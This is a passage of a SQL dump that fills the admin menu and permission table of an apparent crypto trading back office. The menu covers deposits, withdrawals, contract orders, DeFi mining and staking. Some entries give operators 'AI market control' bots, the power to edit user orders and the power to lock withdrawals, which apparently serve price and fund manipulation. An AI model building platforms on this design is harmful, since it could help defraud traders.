14:55:17', 'admin', '2023-07-17 17:19:59', ''); +INSERT INTO `sys_menu` VALUES (2103, '公告管理', 0, 8, 'announcement', NULL, NULL, 1, 0, 'M', '0', '0', '', 'education', 'admin', '2023-07-20 10:03:14', 'admin', '2023-07-24 11:34:20', ''); +INSERT INTO `sys_menu` VALUES (2104, '玩法配置', 2080, 6, '/bussiness/gameplayConfiguration', 'bussiness/gameplayConfiguration/index', NULL, 1, 0, 'C', '0', '0', '', 'cascader', 'admin', '2023-07-21 11:54:03', 'admin', '2023-07-21 12:00:07', ''); +INSERT INTO `sys_menu` VALUES (2105, '一对一站内信', 2103, 2, 'station', 'system/station/index', NULL, 1, 0, 'C', '0', '0', 'bussiness:mail:list', 'checkbox', 'admin', '2023-07-21 17:06:38', 'admin', '2023-08-11 17:17:55', ''); +INSERT INTO `sys_menu` VALUES (2107, '前台文本配置', 2103, 3, 'configuration', NULL, NULL, 1, 0, 'M', '0', '0', '', 'documentation', 'admin', '2023-07-24 11:21:54', 'admin', '2023-07-24 11:33:41', ''); +INSERT INTO `sys_menu` VALUES (2108, '文本设置', 107, 1, 'text', 'system/configuration/text/index', NULL, 1, 0, 'C', '0', '0', NULL, '#', 'admin', '2023-07-24 11:24:51', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2109, '规则说明', 2107, 2, 'rules', 'system/configuration/rule/index', NULL, 1, 0, 'C', '0', '0', 'bussiness:setter:list', '#', 'admin', '2023-07-24 11:26:57', 'admin', '2023-08-11 17:25:06', ''); +INSERT INTO `sys_menu` VALUES (2110, '基础配置', 2107, 1, 'text', 'system/configuration/text/index', NULL, 1, 0, 'C', '0', '0', 'bussiness:rules:list', '#', 'admin', '2023-07-24 11:28:07', 'admin', '2023-08-11 17:21:40', ''); +INSERT INTO `sys_menu` VALUES (2111, '客服设置', 2080, 7, '/bussiness/customer', 'bussiness/customer/index', NULL, 1, 0, 'C', '0', '0', '', 'cascader', 'admin', '2023-07-24 15:26:49', 'admin', '2023-07-24 15:27:22', ''); +INSERT INTO `sys_menu` VALUES (2112, '订单详情', 2070, 4, 'detail', 'deposit/order/index', NULL, 1, 0, 'C', '1', '0', 'bussiness:recharge:query', '#', 'admin', '2023-07-31 11:37:26', 'admin', '2023-08-11 16:35:19', ''); +INSERT INTO `sys_menu` VALUES (2113, '通知公告', 2103, 3, 'notice', 'system/notice/index', NULL, 1, 0, 'C', '0', '0', 'bussiness:notice:list', '#', 'admin', '2023-07-31 14:17:44', 'admin', '2023-08-11 17:19:21', ''); +INSERT INTO `sys_menu` VALUES (2114, '返佣设置', 2080, 8, 'rechargeCommission', 'bussiness/commission/index', NULL, 1, 0, 'C', '0', '0', '', 'cascader', 'admin', '2023-08-03 13:55:39', 'admin', '2023-08-11 17:26:41', ''); +INSERT INTO `sys_menu` VALUES (2115, '用户充值审核', 2071, 0, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:recharge:passOrder', '#', 'admin', '2023-08-11 16:19:45', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2116, '用户充值审核拒绝', 2071, 1, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:recharge:failedOrder', '#', 'admin', '2023-08-11 16:20:16', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2117, '获取用户充值详细信息', 2071, 2, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:recharge:query', '#', 'admin', '2023-08-11 16:20:39', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2118, '导出用户提现列表', 2072, 0, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:withdraw:export', '#', 'admin', '2023-08-11 16:22:09', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2119, '获取用户提现详细信息', 2072, 1, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:order:query', '#', 'admin', '2023-08-11 16:22:41', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2120, '锁定', 2072, 2, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:withdraw:edit', '#', 'admin', '2023-08-11 16:23:11', 'admin', '2023-08-29 13:40:37', ''); +INSERT INTO `sys_menu` VALUES (2121, '删除用户提现', 2072, 3, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:withdraw:remove', '#', 'admin', '2023-08-11 16:23:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2122, '导出秒合约币种配置列表', 2077, 0, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:coin:config:export', '#', 'admin', '2023-08-11 16:28:08', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2123, '获取秒合约币种配置详细信息', 2077, 1, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:coin:config:query', '#', 'admin', '2023-08-11 16:28:29', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2124, '新增秒合约币种配置', 2077, 2, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:coin:config:add', '#', 'admin', '2023-08-11 16:29:14', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2125, '修改秒合约币种配置', 2077, 3, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:coin:config:edit', '#', 'admin', '2023-08-11 16:29:38', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2126, '导出秒合约订单列表', 2082, 0, '', NULL, NULL, 1, 0, 'F', '0', '0', 'secondContractOrder:order:export', '#', 'admin', '2023-08-11 16:32:35', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2127, '获取秒合约订单详细信息', 2082, 1, '', NULL, NULL, 1, 0, 'F', '0', '0', 'secondContractOrder:order:query', '#', 'admin', '2023-08-11 16:35:45', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2128, '修改秒合约订单', 2082, 2, '', NULL, NULL, 1, 0, 'F', '0', '0', 'secondContractOrder:order:edit', '#', 'admin', '2023-08-11 16:36:28', 'admin', '2023-08-11 16:39:02', ''); +INSERT INTO `sys_menu` VALUES (2129, '删除', 2082, 3, '', NULL, NULL, 1, 0, 'F', '0', '0', 'secondContractOrder:order:remove', '#', 'admin', '2023-08-11 16:38:49', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2130, '导出', 2096, 0, '', NULL, NULL, 1, 0, 'F', '0', '0', 'period:config:export', '#', 'admin', '2023-08-11 16:40:06', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2131, '详情', 2096, 1, '', NULL, NULL, 1, 0, 'F', '0', '0', 'period:config:query', '#', 'admin', '2023-08-11 16:40:38', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2132, '新增', 2096, 2, '', NULL, NULL, 1, 0, 'F', '0', '0', 'period:config:add', '#', 'admin', '2023-08-11 16:40:54', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2133, '编辑', 2096, 3, '', NULL, NULL, 1, 0, 'F', '0', '0', 'period:config:edit', '#', 'admin', '2023-08-11 16:41:13', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2134, '移除', 2096, 4, '', NULL, NULL, 1, 0, 'F', '0', '0', 'period:config:remove', '#', 'admin', '2023-08-11 16:41:32', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2135, '导出', 2042, 0, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:detail:export', '#', 'admin', '2023-08-11 16:43:00', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2136, '详情', 2042, 1, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:detail:query', '#', 'admin', '2023-08-11 16:43:17', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2137, '编辑', 2042, 2, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:detail:edit', '#', 'admin', '2023-08-11 16:43:39', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2138, '导出', 2041, 0, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:log:export', '#', 'admin', '2023-08-11 16:44:40', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2139, '详情', 2041, 1, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:log:query', '#', 'admin', '2023-08-11 16:45:01', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2140, '编辑', 2041, 2, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:log:edit', '#', 'admin', '2023-08-11 16:45:24', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2141, '删除', 2041, 3, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:log:remove', '#', 'admin', '2023-08-11 16:45:40', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2142, '详情', 2083, 0, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:ucontract:query', '#', 'admin', '2023-08-11 16:47:18', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2143, '新增', 2083, 1, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:ucontract:add', '#', 'admin', '2023-08-11 16:47:36', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2144, '编辑', 2083, 2, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:ucontract:edit', '#', 'admin', '2023-08-11 16:48:15', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2145, '删除', 2083, 3, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:ucontract:remove', '#', 'admin', '2023-08-11 16:48:35', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2146, '详情', 2067, 0, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:contractOrder:query', '#', 'admin', '2023-08-11 16:49:21', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2147, '新增', 2067, 1, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:contractOrder:edit', '#', 'admin', '2023-08-11 16:49:41', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2148, '修改', 2067, 2, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:contractOrder:edit', '#', 'admin', '2023-08-11 16:49:57', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2149, '删除', 2067, 3, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:contractOrder:remove', '#', 'admin', '2023-08-11 16:50:13', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2150, '详情', 2069, 0, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:position:query', '#', 'admin', '2023-08-11 16:50:44', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2151, '编辑', 2069, 1, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:position:edit', '#', 'admin', '2023-08-11 16:50:58', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2152, '删除', 2069, 2, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:position:remove', '#', 'admin', '2023-08-11 16:51:14', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2153, '详情', 2084, 0, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:currency:symbol:query', '#', 'admin', '2023-08-11 16:52:18', 'admin', '2023-08-22 14:44:12', ''); +INSERT INTO `sys_menu` VALUES (2154, '新增', 2084, 1, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:currency:symbol:add', '#', 'admin', '2023-08-11 16:52:33', 'admin', '2023-08-22 14:44:19', ''); +INSERT INTO `sys_menu` VALUES (2155, '修改', 2084, 2, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:currency:symbol:edit', '#', 'admin', '2023-08-11 16:52:52', 'admin', '2023-08-22 14:44:26', ''); +INSERT INTO `sys_menu` VALUES (2156, '删除', 2084, 3, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:currency:symbol:remove', '#', 'admin', '2023-08-11 16:53:12', 'admin', '2023-08-22 14:44:32', ''); +INSERT INTO `sys_menu` VALUES (2157, '详情', 2075, 0, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:currency/order:query', '#', 'admin', '2023-08-11 16:54:39', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2158, '编辑', 2075, 1, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:currency/order:edit', '#', 'admin', '2023-08-11 16:54:59', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2159, '删除', 2075, 2, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:currency/order:remove', '#', 'admin', '2023-08-11 16:55:13', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2160, '详情', 2090, 0, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:symbolmanage:query', '#', 'admin', '2023-08-11 17:05:02', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2161, '新增', 2090, 1, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:symbolmanage:add', '#', 'admin', '2023-08-11 17:05:19', 'admin', '2023-08-22 14:47:01', ''); +INSERT INTO `sys_menu` VALUES (2162, '修改', 2090, 2, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:symbolmanage:edit', '#', 'admin', '2023-08-11 17:05:37', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2163, '删除', 2090, 2, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:symbolmanage:remove', '#', 'admin', '2023-08-11 17:05:55', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2164, '详情', 2085, 0, '', NULL, NULL, 1, 0, 'F', '0', '0', 'system:financial:query', '#', 'admin', '2023-08-11 17:08:13', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2165, '新增', 2085, 1, '', NULL, NULL, 1, 0, 'F', '0', '0', 'system:financial:add', '#', 'admin', '2023-08-11 17:08:33', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2166, '修改', 2085, 2, '', NULL, NULL, 1, 0, 'F', '0', '0', 'system:financial:edit', '#', 'admin', '2023-08-11 17:08:48', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2167, '删除', 2085, 2, '', NULL, NULL, 1, 0, 'F', '0', '0', 'system:financial:remove', '#', 'admin', '2023-08-11 17:09:12', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2168, '详情', 2086, 0, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:order:query', '#', 'admin', '2023-08-11 17:10:00', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2169, '新增', 2086, 1, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:order:add', '#', 'admin', '2023-08-11 17:10:18', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2170, '修改', 2086, 2, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:order:edit', '#', 'admin', '2023-08-11 17:10:33', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2171, '移除', 2086, 3, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:order:remove', '#', 'admin', '2023-08-11 17:10:48', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2172, '新增', 2049, 0, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:load:product:add', '#', 'admin', '2023-08-11 17:12:01', 'admin', '2023-08-22 14:51:19', ''); +INSERT INTO `sys_menu` VALUES (2173, '详情', 2049, 1, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:load:product:query', '#', 'admin', '2023-08-11 17:12:16', 'admin', '2023-08-22 14:51:26', ''); +INSERT INTO `sys_menu` VALUES (2174, '编辑', 2049, 2, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:load:product:edit', '#', 'admin', '2023-08-11 17:12:32', 'admin', '2023-08-22 14:51:33', ''); +INSERT INTO `sys_menu` VALUES (2175, '删除', 2049, 3, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:load:product:remove', '#', 'admin', '2023-08-11 17:12:49', 'admin', '2023-08-22 14:52:11', ''); +INSERT INTO `sys_menu` VALUES (2176, '列表', 2050, 0, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:load:order:list', '#', 'admin', '2023-08-11 17:14:41', 'admin', '2023-08-22 14:55:16', ''); +INSERT INTO `sys_menu` VALUES (2177, '详情', 2050, 1, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:load:order:query', '#', 'admin', '2023-08-11 17:14:58', 'admin', '2023-08-22 14:55:10', ''); +INSERT INTO `sys_menu` VALUES (2178, '修改', 2050, 2, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:load:order:edit', '#', 'admin', '2023-08-11 17:15:14', 'admin', '2023-08-22 14:54:53', ''); +INSERT INTO `sys_menu` VALUES (2179, '删除', 2050, 3, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:load:order:remove', '#', 'admin', '2023-08-11 17:15:28', 'admin', '2023-08-22 14:55:00', ''); +INSERT INTO `sys_menu` VALUES (2180, '审核通过', 2050, 4, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:loadOrder:passTLoadOrder', '#', 'admin', '2023-08-11 17:15:47', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2181, '审核拒绝', 2050, 5, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:loadOrder:refuseTLoadOrder', '#', 'admin', '2023-08-11 17:16:06', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2182, '新增', 2105, 0, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:mail:add', '#', 'admin', '2023-08-11 17:18:15', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2183, '删除', 2105, 1, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:mail:remove', '#', 'admin', '2023-08-11 17:18:32', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2184, '详情', 2113, 0, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:notice:query', '#', 'admin', '2023-08-11 17:19:40', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2185, '新增', 2113, 1, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:notice:add', '#', 'admin', '2023-08-11 17:19:58', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2186, '编辑', 2113, 2, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:notice:edit', '#', 'admin', '2023-08-11 17:20:18', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2187, '删除', 2113, 3, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:notice:remove', '#', 'admin', '2023-08-11 17:20:40', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2188, '枚举', 2113, 4, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:notice:NoticeTypeList', '#', 'admin', '2023-08-11 17:20:56', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2189, '查询前台文本配置菜单列表', 2110, 1, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:rules:labelList', '#', 'admin', '2023-08-11 17:22:01', 'admin', '2023-08-11 17:22:38', ''); +INSERT INTO `sys_menu` VALUES (2190, '详情', 2110, 0, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:rules:query', '#', 'admin', '2023-08-11 17:23:40', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2191, '新增', 2110, 2, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:rules:add', '#', 'admin', '2023-08-11 17:23:59', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2192, '修改', 2110, 3, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:rules:edit', '#', 'admin', '2023-08-11 17:24:13', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2193, '删除', 2110, 3, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:rules:remove', '#', 'admin', '2023-08-11 17:24:29', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2194, '详情', 2109, 0, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:setter:query', '#', 'admin', '2023-08-11 17:25:23', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2195, '新增', 2109, 1, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:setter:add', '#', 'admin', '2023-08-11 17:25:38', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2196, '编辑', 2109, 2, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:setter:edit', '#', 'admin', '2023-08-11 17:25:56', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2197, '删除', 2109, 3, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:setter:remove', '#', 'admin', '2023-08-11 17:26:10', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2198, '玩家用户数据', 2093, 1, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:userStatistics:agencyAppUserList', '#', 'admin', '2023-08-11 18:39:48', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2199, '玩家用户', 2092, 4, 'subordinate', 'data/subordinate/index', NULL, 1, 0, 'C', '1', '0', 'data:subordinate:list', '#', 'admin', '2023-08-14 11:34:53', 'admin', '2023-08-22 15:15:14', ''); +INSERT INTO `sys_menu` VALUES (2200, '帮助中心', 2103, 4, 'system/help/index', 'system/help/index', NULL, 1, 0, 'C', '0', '0', 'bussiness:helpcenter:list', 'cascader', 'admin', '2023-08-17 16:48:17', 'admin666', '2023-08-21 15:15:36', ''); +INSERT INTO `sys_menu` VALUES (2201, '充值通道配置', 2070, 3, 'rechargeChannel', 'deposit/rechargeChannel/index', NULL, 1, 0, 'C', '0', '0', NULL, '#', 'admin', '2023-08-21 11:13:27', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2202, '提现通道配置', 2070, 4, 'withdrawalChannel', 'deposit/withdrawalChannel/index', NULL, 1, 0, 'C', '0', '0', NULL, '#', 'admin', '2023-08-21 11:14:09', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2229, 'DEFI订单列表', 2247, 0, 'defi/order', 'defi/order/index', NULL, 1, 0, 'C', '0', '0', 'bussiness:orderdefi:list', '#', 'admin', '2023-08-19 01:55:14', 'admin', '2023-08-22 20:13:53', 'defi订单菜单'); +INSERT INTO `sys_menu` VALUES (2230, 'defi订单查询', 2229, 1, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:orderdefi:query', '#', 'admin', '2023-08-19 01:55:14', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2231, 'defi订单新增', 2229, 2, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:orderdefi:add', '#', 'admin', '2023-08-19 01:55:14', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2232, 'defi订单修改', 2229, 3, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:orderdefi:edit', '#', 'admin', '2023-08-19 01:55:14', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2233, 'defi订单删除', 2229, 4, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:orderdefi:remove', '#', 'admin', '2023-08-19 01:55:14', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2234, 'defi订单导出', 2229, 5, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:orderdefi:export', '#', 'admin', '2023-08-19 01:55:14', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2235, '空投活动', 2247, 1, 'defi/activity', 'defi/activity/index', NULL, 1, 0, 'C', '0', '0', 'bussiness:activitydefi:list', '#', 'admin', '2023-08-19 01:55:18', 'admin', '2023-08-22 20:15:01', '空投活动菜单'); +INSERT INTO `sys_menu` VALUES (2236, '空投活动查询', 2235, 1, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:activitydefi:query', '#', 'admin', '2023-08-19 01:55:18', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2237, '空投活动新增', 2235, 2, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:activitydefi:add', '#', 'admin', '2023-08-19 01:55:18', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2238, '空投活动修改', 2235, 3, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:activitydefi:edit', '#', 'admin', '2023-08-19 01:55:18', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2239, '空投活动删除', 2235, 4, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:activitydefi:remove', '#', 'admin', '2023-08-19 01:55:18', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2240, '空投活动导出', 2235, 5, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:activitydefi:export', '#', 'admin', '2023-08-19 01:55:18', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2241, '挖矿利率配置', 2247, 1, 'defi/rate', 'defi/rate/index', NULL, 1, 0, 'C', '0', '0', 'bussiness:ratedefi:list', '#', 'admin', '2023-08-19 01:55:21', 'admin', '2023-08-19 02:05:32', 'defi挖矿利率配置菜单'); +INSERT INTO `sys_menu` VALUES (2242, 'defi挖矿利率配置查询', 2241, 1, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:ratedefi:query', '#', 'admin', '2023-08-19 01:55:21', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2243, 'defi挖矿利率配置新增', 2241, 2, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:ratedefi:add', '#', 'admin', '2023-08-19 01:55:21', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2244, 'defi挖矿利率配置修改', 2241, 3, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:ratedefi:edit', '#', 'admin', '2023-08-19 01:55:21', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2245, 'defi挖矿利率配置删除', 2241, 4, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:ratedefi:remove', '#', 'admin', '2023-08-19 01:55:21', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2246, 'defi挖矿利率配置导出', 2241, 5, '#', '', NULL, 1, 0, 'F', '0', '0', 'bussiness:ratedefi:export', '#', 'admin', '2023-08-19 01:55:21', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2247, 'DEFI挖矿', 0, 6, 'bussiness/defi', NULL, NULL, 1, 0, 'M', '0', '0', '', 'button', 'admin', '2023-08-19 01:57:42', 'admin', '2023-08-21 21:57:03', ''); +INSERT INTO `sys_menu` VALUES (2248, '止盈止损列表', 2066, 4, 'orderList', 'uContract/orderList/index', NULL, 1, 0, 'C', '1', '0', 'bussiness:position:query', '#', 'admin', '2023-08-21 18:55:40', 'ceshi', '2023-08-29 14:21:29', ''); +INSERT INTO `sys_menu` VALUES (2249, 'AI控盘', 0, 7, '/', NULL, NULL, 1, 0, 'M', '0', '0', '', 'people', 'admin', '2023-08-21 21:59:43', 'admin', '2023-08-22 20:16:54', ''); +INSERT INTO `sys_menu` VALUES (2250, '质押挖矿', 0, 6, 'pledge', NULL, NULL, 1, 0, 'M', '0', '0', '', 'chart', 'admin', '2023-08-22 10:08:52', 'admin', '2023-08-22 15:02:19', ''); +INSERT INTO `sys_menu` VALUES (2251, '订单列表', 2250, 2, 'order', 'pledge/order/index', NULL, 1, 0, 'C', '0', '0', NULL, '#', 'admin', '2023-08-22 10:09:36', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2252, '挖矿产品', 2250, 1, 'ming', 'pledge/ming/index', NULL, 1, 0, 'C', '0', '0', '', '#', 'admin', '2023-08-22 10:10:30', 'admin', '2023-08-22 10:27:37', ''); +INSERT INTO `sys_menu` VALUES (2253, '玩家数据', 2092, 4, 'playUser', 'data/playUser/index', NULL, 1, 0, 'C', '0', '0', 'bussiness:userStatistics:list', '#', 'admin', '2023-08-22 15:19:14', 'ceshi', '2023-08-28 20:03:51', ''); +INSERT INTO `sys_menu` VALUES (2254, '查询', 2252, 1, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:ming:list', '#', 'admin', '2023-08-22 15:23:53', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2255, '导出', 2252, 2, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:ming:export', '#', 'admin', '2023-08-22 15:24:14', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2256, '新增', 2252, 3, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:ming:add', '#', 'admin', '2023-08-22 15:24:36', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2257, '编辑', 2252, 4, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:ming:edit', '#', 'admin', '2023-08-22 15:24:51', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2258, '删除', 2252, 5, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:ming:remove', '#', 'admin', '2023-08-22 15:25:07', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2259, '查询', 2251, 1, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:order:list', '#', 'admin', '2023-08-22 15:25:27', '', NULL, ''); +INSERT INTO `sys_menu` VALUES (2260, '控盘机器人', 2249, 0, '/bot/trade-robot', 'bussiness/trade-robot/index', '', 1, 0, 'C', '0', '0', 'bussiness/trade-robot', '#', 'admin', '2023-08-22 16:20:00', 'admin', '2023-08-22 16:28:26', ''); +INSERT INTO `sys_menu` VALUES (2261, '控盘记录', 2249, 1, '/bot/trade-list', 'bussiness/trade-robot/list', '', 1, 0, 'C', '0', '0', 'bussiness/trade-robot', '#', 'admin', '2023-08-22 16:20:45', 'admin', '2023-08-22 17:12:46', ''); +INSERT INTO `sys_menu` VALUES (2262, '新增', 2200, 1, '', NULL, NULL, 1, 0, 'F', '0', '0', 'bussiness:helpcenter:add', '#', 'admin', '2023-08-22 19:42:16', '', NULL, ''); +INSERT 